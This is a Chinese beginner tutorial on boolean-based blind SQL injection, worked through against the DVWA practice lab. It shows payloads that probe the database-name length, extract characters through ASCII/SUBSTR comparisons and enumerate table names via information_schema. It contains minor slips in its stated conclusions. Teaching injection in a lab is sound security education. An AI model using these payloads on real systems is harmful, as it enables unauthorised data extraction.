SQL注入之布尔型盲注
本文是Web安全入门系列的第4篇文章
01
今天要介绍的注入方法,是我们实战中最常见的一种注入方法:盲注。
依然使用DVWA靶场,首先进入的盲注页面:
输入1,返回:User ID exists in the database.
输入-1,返回:User ID is MISSING from the database.
输入1',返回:User ID is MISSING from the database.
以上尝试得出结论:
1. 该输入框存在注入点
2. 该页面或请求不会回显注入语句执行结果,故无法使用UNION注入
3. 对数据库报错进行了处理,无论用户怎么输入都不会显示报错信息,故无法使用报错注入
02
既不能使用UNION注入,也不能使用报错注入,此时,就该盲注闪亮登场了~
咳咳~虽然咱叫盲注,但不是眼盲的盲,也不是假借眼盲胡诌的盲,盲注的盲,指的是无法回显或获取SQL注入语句的执行结果。
当存在SQL注入时,攻击者无法通过页面或请求的返回信息,回显或获取到SQL注入语句的执行结果,这种情况就叫盲注。
03
回到DVWA的盲注页面:
当我们查询出结果时,返回:User ID exists in the database(相当于返回true)
没有查询出结果时,返回:User ID is MISSING from the database(相当于返回false)
布尔型盲注就是利用返回的true或false来判断注入语句是否执行成功。
04
假设返回信息User ID exists in the database为true,User ID is MISSING from the database为false,我们来进行注入。
猜测数据库名称长度
输入:1' AND LENGTH(DATABASE()) > 1 #,返回:true
输入:1' AND LENGTH(DATABASE()) > 2 #,返回:true
输入:1' AND LENGTH(DATABASE()) > 3 #,返回:true
输入:1' AND LENGTH(DATABASE()) > 4 #,返回:false
最终得出结论:数据库名称长度等于4个字符。
猜测数据库名称的一个字符
输入:1' AND ASCII(SUBSTR(DATABASE(),1,1))>97 #,返回:true
输入:1' AND ASCII(SUBSTR(DATABASE(),1,1))>98 #,返回:true
输入:1' AND ASCII(SUBSTR(DATABASE(),1,1))>99 #,返回:true
输入:1' AND ASCII(SUBSTR(DATABASE(),1,1))>100 #,返回:false
得出结论:数据库名称的第一个字符是小写字母d。
不理解97,98,99含义的同学,请参考ASCII编码对照表:http://ascii.911cha.com/
猜测数据库名称的二个字符
输入:1' AND ASCII(SUBSTR(DATABASE(),2,1))>97 #,返回:true
输入:1' AND ASCII(SUBSTR(DATABASE(),2,1))>98 #,返回:true
......
输入:1' AND ASCII(SUBSTR(DATABASE(),2,1))>117#,返回:true
输入:1' AND ASCII(SUBSTR(DATABASE(),2,1))>118#,返回:false
得出结论:数据库名称的第一个字符是小写字母v。
......
依此类推,最后猜出数据库名称为:dvwa。
猜测数据库表第一张表表名称的长度
输入:1' AND (SELECT LENGTH(table_name) FROM information_Schema.tables WHERE table_schema=DATABASE() limit 0,1) > 1 #,返回:true
......
输入:1' AND (SELECT LENGTH(table_name) FROM information_Schema.tables WHERE table_schema=DATABASE() limit 0,1) > 10 #,返回:false
得出结论:第一张表表名称长度为9个字符。
......
没有错,聪明的你一定已经领悟到,盲注的终极奥义,就是一个字
用好我们的终极奥义,UNION注入和报错注入能拿到的东西,我们盲注也都能拿到。
本期内容就到这里了,下篇文章我们将介绍时间型盲注以及不用猜到手抽筋的盲注方法,期待下期再见~
(部分图片源自网络,侵删)